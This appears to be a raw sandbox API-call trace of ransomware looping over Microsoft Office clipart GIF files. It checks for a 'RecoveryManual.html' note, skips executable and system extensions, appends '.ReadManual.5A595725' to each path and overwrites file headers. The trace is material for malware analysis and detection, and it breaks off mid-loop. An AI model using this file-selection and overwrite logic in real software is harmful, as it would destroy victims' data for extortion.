(in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" [0258.700] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.ReadManual.5A595725" [0258.700] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.ReadManual.5A595725") returned 87 [0258.701] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37936974458) returned 1 [0258.701] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0258.701] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.701] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12482) returned 1 [0258.701] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30c2, lpName=0x0) returned 0x184 [0258.701] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.702] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.702] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.704] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.705] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x30c2) returned 0x2f0000 [0258.705] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.705] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37937373683) returned 1 [0258.705] CloseHandle (hObject=0x184) returned 1 [0258.705] SetSecurityInfo () returned 0x57 [0258.705] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.705] CloseHandle (hObject=0x194) returned 1 [0258.706] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa86700, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa86700, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0258.706] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00130_.GIF" | out: lpString1="AG00130_.GIF") returned="AG00130_.GIF" [0258.706] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.706] StrStrIW (lpFirst="AG00130_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.706] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.706] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.706] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.706] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.706] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.706] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.706] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.706] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.706] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.706] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.706] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.706] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.706] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.706] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.706] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" [0258.706] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.ReadManual.5A595725" [0258.706] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.ReadManual.5A595725") returned 87 [0258.706] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37937507299) returned 1 [0258.706] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0258.707] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.707] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5253) returned 1 [0258.707] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1485, lpName=0x0) returned 0x184 [0258.707] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.707] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.707] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.709] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.709] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1485) returned 0x2f0000 [0258.710] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.710] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37937843036) returned 1 [0258.710] CloseHandle (hObject=0x184) returned 1 [0258.710] SetSecurityInfo () returned 0x57 [0258.710] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.710] CloseHandle (hObject=0x194) returned 1 [0258.711] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b28600, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b28600, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0258.711] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00135_.GIF" | out: lpString1="AG00135_.GIF") returned="AG00135_.GIF" [0258.711] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.711] StrStrIW (lpFirst="AG00135_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.711] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.711] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.711] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.711] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.711] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.711] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.711] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.712] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.712] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.712] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.712] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.712] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.712] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.712] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.712] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" [0258.712] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.ReadManual.5A595725" [0258.712] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.ReadManual.5A595725") returned 87 [0258.712] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37938056169) returned 1 [0258.712] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0258.713] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.713] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2596) returned 1 [0258.713] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa24, lpName=0x0) returned 0x184 [0258.713] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.714] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.714] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.715] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.716] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa24) returned 0x2f0000 [0258.716] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.716] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37938455165) returned 1 [0258.716] CloseHandle (hObject=0x184) returned 1 [0258.716] SetSecurityInfo () returned 0x57 [0258.716] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.716] CloseHandle (hObject=0x194) returned 1 [0258.717] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3bca500, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3bca500, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0258.717] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00139_.GIF" | out: lpString1="AG00139_.GIF") returned="AG00139_.GIF" [0258.717] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.717] StrStrIW (lpFirst="AG00139_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.717] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.717] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.717] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.717] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.717] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.717] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.717] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.717] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.717] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.717] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.717] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.717] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.717] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.717] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.718] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" [0258.718] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.ReadManual.5A595725" [0258.718] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.ReadManual.5A595725") returned 87 [0258.718] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37938638308) returned 1 [0258.718] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0258.718] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.719] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10607) returned 1 [0258.719] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x296f, lpName=0x0) returned 0x184 [0258.719] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.719] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.719] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.721] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.721] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x296f) returned 0x2f0000 [0258.721] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.722] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37939031709) returned 1 [0258.722] CloseHandle (hObject=0x184) returned 1 [0258.722] SetSecurityInfo () returned 0x57 [0258.722] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.722] CloseHandle (hObject=0x194) returned 1 [0258.722] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc6c400, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedc6c400, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0258.722] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00142_.GIF" | out: lpString1="AG00142_.GIF") returned="AG00142_.GIF" [0258.722] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.722] StrStrIW (lpFirst="AG00142_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.722] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.723] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.723] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.723] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.723] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.723] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.723] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.723] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.723] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.723] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.723] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.723] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.723] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.723] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.723] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" [0258.723] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.ReadManual.5A595725" [0258.723] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.ReadManual.5A595725") returned 87 [0258.723] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37939173169) returned 1 [0258.723] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0258.723] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.723] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15308) returned 1 [0258.724] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3bcc, lpName=0x0) returned 0x184 [0258.724] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.724] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.724] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.726] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.726] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3bcc) returned 0x2f0000 [0258.726] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.726] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37939505538) returned 1 [0258.726] CloseHandle (hObject=0x184) returned 1 [0258.726] SetSecurityInfo () returned 0x57 [0258.726] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.726] CloseHandle (hObject=0x194) returned 1 [0258.727] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9688900, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9688900, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0258.727] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00154_.GIF" | out: lpString1="AG00154_.GIF") returned="AG00154_.GIF" [0258.727] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.727] StrStrIW (lpFirst="AG00154_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.727] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.727] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.727] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.727] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.727] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.727] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.727] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.727] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.728] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.728] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.728] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.728] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.728] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.728] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.728] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" [0258.728] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.ReadManual.5A595725" [0258.728] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.ReadManual.5A595725") returned 87 [0258.728] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37939653932) returned 1 [0258.728] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0258.728] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.728] 